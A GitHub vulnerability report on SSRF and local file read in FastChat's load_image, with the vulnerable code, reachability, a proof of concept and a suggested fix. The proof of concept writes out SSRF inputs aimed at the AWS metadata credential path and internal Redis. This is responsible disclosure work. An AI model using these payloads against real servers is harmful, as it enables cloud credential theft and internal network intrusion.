Skip to content

Vulnerability Report: SSRF + Arbitrary Local File Read in fastchat.utils.load_image via unvalidated image URL/path #3873

Description

Severity

CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L (8.6 High)

CWE-918 (Server-Side Request Forgery), with secondary CWE-22 / CWE-73 (Arbitrary Local File Read via path-based dispatch).

Description

fastchat.utils.load_image(image_file) dispatches on string-prefix/suffix heuristics without scheme allowlist, host validation, private-IP block, or path canonicalization. Three branches yield three independent primitives:

  1. image_file.startswith("http://") or .startswith("https://")requests.get(image_file) → full Server-Side Request Forgery
  2. image_file.lower().endswith(("png","jpg","jpeg","webp","gif"))Image.open(image_file) → arbitrary local image-file read via extension-gated PIL open
  3. image_file.startswith("data:") or fallthrough → base64.b64decode(image_file) (default validate=False) → decoder-oracle

Vulnerable Code

fastchat/utils.py at lm-sys/FastChat main (HEAD-verified 2026-05-17, ~lines 394-412 in current bundle):

def load_image(image_file):
    from PIL import Image
    import requests

    image = None

    if image_file.startswith("http://") or image_file.startswith("https://"):
        timeout = int(os.getenv("REQUEST_TIMEOUT", "3"))
        response = requests.get(image_file, timeout=timeout)
        image = Image.open(BytesIO(response.content))
    elif image_file.lower().endswith(("png", "jpg", "jpeg", "webp", "gif")):
        image = Image.open(image_file)
    elif image_file.startswith("data:"):
        image_file = image_file.split(",")[1]
        image = Image.open(BytesIO(base64.b64decode(image_file)))
    else:
        image = Image.open(BytesIO(base64.b64decode(image_file)))
    return image

Reachability

load_image is called from documented public flows:

  • fastchat/conversation.py:441, 454, 614, 624, 643, 657, 467, 481save_new_images(), extract_text_and_image_hashes_from_messages(), to_gemini_api_messages()
  • fastchat/serve/gradio_web_server.py:45 — imports load_image into the public chat-arena Gradio flow
  • fastchat/serve/api_provider.py:104, 114 — Gemini provider routing

Default deployment exposes both flows without authentication:

  • fastchat/serve/openai_api_server.py:100-128 starts with api_keys=None → anonymous API server
  • Gradio chat-arena binds 0.0.0.0 → reachable from any network

A user submitting a message with an attacker-controlled image-URL (or a typed string starting with http://) triggers the SSRF.

Proof of Concept

Standalone Python reproducer; requires only pip install fastchat-llm (or local clone):

import sys, requests
calls = []
orig = requests.get
def spy(url, timeout=None, *a, **k):
    calls.append(url)
    print(f"[+] SSRF fired: {url}  (timeout={timeout})")
    class R: content = b"\x89PNG\r\n\x1a\n" + b"\x00"*100
    return R()
requests.get = spy

from fastchat.utils import load_image

# SSRF → AWS IMDS
try: load_image("http://169.254.169.254/latest/meta-data/iam/security-credentials/")
except Exception: pass

# SSRF → internal Redis / port scan
try: load_image("http://127.0.0.1:6379/")
except Exception: pass

# Arbitrary local file open (extension-gated)
open("/tmp/leak.png","wb").write(b"\x89PNG\r\n\x1a\n" + b"\x00"*100)
try:
    img = load_image("/tmp/leak.png")
    print(f"[+] Local file open: size={getattr(img,'size',None)}")
except Exception as e:
    print(f"[!] PIL parse error after open: {e}")

assert len(calls) == 2, calls
print("[+] PoC OK")

Executed output:

[+] SSRF fired: http://169.254.169.254/latest/meta-data/iam/security-credentials/  (timeout=3)
[+] SSRF fired: http://127.0.0.1:6379/  (timeout=3)
[+] Local file open: size=(1, 1)
[+] PoC OK

Impact

SSRF (primary):

  • AWS IMDS / GCP / Azure cloud metadata exfiltration → IAM credential theft → cloud account compromise
  • Localhost-only admin panel access (Redis, Elasticsearch, Kibana, internal Jenkins)
  • Port scanning via response-timing oracle on the FastChat host's local network

Arbitrary local file read (secondary):

  • Any *.png|jpg|jpeg|webp|gif-suffixed path readable by the server process is opened by PIL
  • Image-parser CVEs become reachable from unauthenticated network input (libwebp CVE-2023-4863, libpng heap CVEs)

Decoder oracle (tertiary):

  • base64.b64decode(..., validate=False) accepts malformed input silently; combined with Image.open(BytesIO(...)) exposes the image parser to bypass-style payloads

Suggested Fix

Add a URL safety check and restrict local-file branch to a configured allowlist directory:

from urllib.parse import urlparse
import ipaddress, socket
from pathlib import Path

ALLOWED_SCHEMES = {"http", "https"}
IMAGE_DIR = Path(os.getenv("FASTCHAT_IMAGE_DIR", "/var/lib/fastchat/images")).resolve()

def _is_safe_url(url: str) -> bool:
    p = urlparse(url)
    if p.scheme not in ALLOWED_SCHEMES: return False
    try:
        for fam, _, _, _, sa in socket.getaddrinfo(p.hostname, None):
            ip = ipaddress.ip_address(sa[0])
            if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
                return False
    except socket.gaierror:
        return False
    return True

def _is_safe_local(path: str) -> bool:
    try:
        resolved = (IMAGE_DIR / path).resolve()
        return IMAGE_DIR in resolved.parents or resolved == IMAGE_DIR
    except (OSError, ValueError):
        return False

def load_image(image_file):
    from PIL import Image
    import requests
    if image_file.startswith(("http://", "https://")):
        if not _is_safe_url(image_file):
            raise ValueError("URL targets internal/private address; refused")
        timeout = int(os.getenv("REQUEST_TIMEOUT", "3"))
        response = requests.get(image_file, timeout=timeout)
        return Image.open(BytesIO(response.content))
    if image_file.lower().endswith(("png","jpg","jpeg","webp","gif")):
        if not _is_safe_local(image_file):
            raise ValueError("Local path outside configured image directory; refused")
        return Image.open(image_file)
    if image_file.startswith("data:"):
        image_file = image_file.split(",", 1)[1]
        return Image.open(BytesIO(base64.b64decode(image_file, validate=True)))
    return Image.open(BytesIO(base64.b64decode(image_file, validate=True)))

Recommend additionally:

  • Make api_keys=None an opt-in (require explicit --allow-anonymous flag rather than silent default)
  • Audit sibling sinks: controller.py /register_worker unauthenticated by default; model_adapter.py torch.load without weights_only=True

References

Environment

  • FastChat trunk HEAD as of 2026-05-17; fastchat/utils.py:394-412 unchanged from initial reproduction on 2026-05-13
  • Verified with pip install fastchat-llm and from-source clone
  • PoC reproduces on Linux + macOS

Reporter: Jaeyoung Yun (GitHub: JAE0Y2N)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions